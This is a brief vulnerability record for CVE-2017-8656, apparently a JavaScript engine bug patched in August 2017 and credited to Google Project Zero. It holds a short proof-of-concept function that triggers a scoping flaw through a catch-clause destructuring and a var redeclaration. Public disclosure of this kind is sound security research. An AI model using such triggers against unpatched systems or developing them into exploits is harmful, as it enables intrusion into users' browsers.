CVE-2017-8656.md

CVE-2017-8656

• Fix: Aug 2017
• Credit: lokihardt of Google Project Zero

PoC

function trigger() {
    try {
    } catch ({x}) {
        var x = 1;
    }

    print(x);
}

trigger();

Reference

• Microsoft
• Google Project Zero